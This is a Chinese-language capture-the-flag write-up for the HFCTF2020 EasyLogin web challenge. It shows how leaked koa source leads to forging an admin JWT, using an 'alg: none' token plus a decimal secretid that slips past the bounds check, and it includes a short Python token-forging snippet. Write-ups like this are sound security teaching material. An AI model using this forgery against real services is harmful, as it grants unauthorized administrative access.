美文网首页CTF
2020-虎符网络安全赛道-Web-easy_login

2020-虎符网络安全赛道-Web-easy_login

作者: 余生似梦 | 来源:发表于2020-04-21 16:00 被阅读0次

    复现环境:

    https://buuoj.cn/challenges#[HFCTF2020]EasyLogin
    https://www.ctfhub.com/#/challenge

    解题过程:

    运行环境发现是一个登录页面,直接登录显示Cannot read property 'split' of undefined需要先注册再登陆。
    使用注册的普通账号登录,发现get flag按钮,点击提示permission denied,无权限,那么此题的方向应该是伪造成一个高权限账户。
    截取登录包,发现两处可疑authorization校验字段,Cookie也存在sses.aok的校验

    发现authorization值

    Cookie字段包含修改username和其他字段尝试了,没有效果,看起来不是利用这个地方


    sses.aok的校验

    通过查看源码,发现/static/js/app.js 页面存在提示
    koa-static 错误配置的源码泄露
    说明 app.js 是直接静态映射到程序根目录的,直接访问根目录的该文件可直接看到源码

    /**
    * 或许该用 koa-static 来处理静态文件
    * 路径该怎么配置?不管了先填个根目录XD
    */

    继续分析根目录的app.js,发现代码引用了两个当前目录的文件

    const rest = require('./rest');
    const controller = require('./controller');
    

    访问rest.js发现同样一个路径前缀 api

    const pathPrefix = '/api/';
    

    访问controller.js看到这样的代码
    遍历在controllers文件夹下的以.js结尾的文件,并且引入文件添加在router中,推断controllers文件夹下存在一个api.js文件

    function addControllers(router, dir) {
        fs.readdirSync(__dirname + '/' + dir).filter(f => {
            return f.endsWith('.js');
        }).forEach(f => {
            const mapping = require(__dirname + '/' + dir + '/' + f);
            addMapping(router, mapping);
        });
    }
    
    module.exports = (dir) => {
        const controllers_dir = dir || 'controllers';
        const router = require('koa-router')();
        addControllers(router, controllers_dir);
        return router.routes();
    };
    

    访问/controllers/api.js前端几个能看到的功能接口逻辑都在了,分析登录和注册接口

            const token = ctx.header.authorization || ctx.request.body.authorization || ctx.request.query.authorization;
    
            const sid = JSON.parse(Buffer.from(token.split('.')[1], 'base64').toString()).secretid;
    
            console.log(sid)
    
            if(sid === undefined || sid === null || !(sid < global.secrets.length && sid >= 0)) {
                throw new APIError('login error', 'no such secret id');
            }
    
            const secret = global.secrets[sid];
    
            const user = jwt.verify(token, secret, {algorithm: 'HS256'});
    

    1、确认用户身份的技术用的是jwt (Json WEB Token)
    在注册时候生成一个token 由下面三部分组成const token = jwt.sign({secretid, username, password}, secret, {algorithm: 'HS256'});登陆时再以相同的方式生成token对比。

    JWT 存在几种攻击手段,这个题利用的是 将加密方式改为’none’ 的那种

    签名算法确保恶意用户在传输过程中不会修改JWT。但是标题中的alg字段可以更改为none。一些JWT库支持无算法,即没有签名算法。当alg为none时,后端将不执行签名验证。将alg更改为none后,从JWT中删除签名数据(仅标题+’.'+ payload +’.')并将其提交给服务器。

    2、secretid值校验
    要求 sid 不能为 undefined,null,并且必须在全局变量 secrets 数组的长度和 0 之间。
    JavaScript 是一门弱类型语言,可以通过空数组与数字比较永远为真或是小数来绕过

    python有处理jwt的模块,根据上面分析,secretid 赋值小数,algorithm赋值none,key值是一个函数必需字段给空值就行,生成token就是authorization值的内容
    python 安装jwt pip install pyjwt

    import jwt
    token = jwt.encode({"secretid":0.1,"username":"admin","password":"admin"},algorithm="none",key="").decode('utf-8')
    print(token)
    

    把生成的值替换authorization的值就通过验证了

    payload通过验证

    登入之后点击get flag 权限就是够的了


    获取flag

    相关文章

      网友评论

        本文标题:2020-虎符网络安全赛道-Web-easy_login

        本文链接:https://www.haomeiwen.com/subject/xjquihtx.html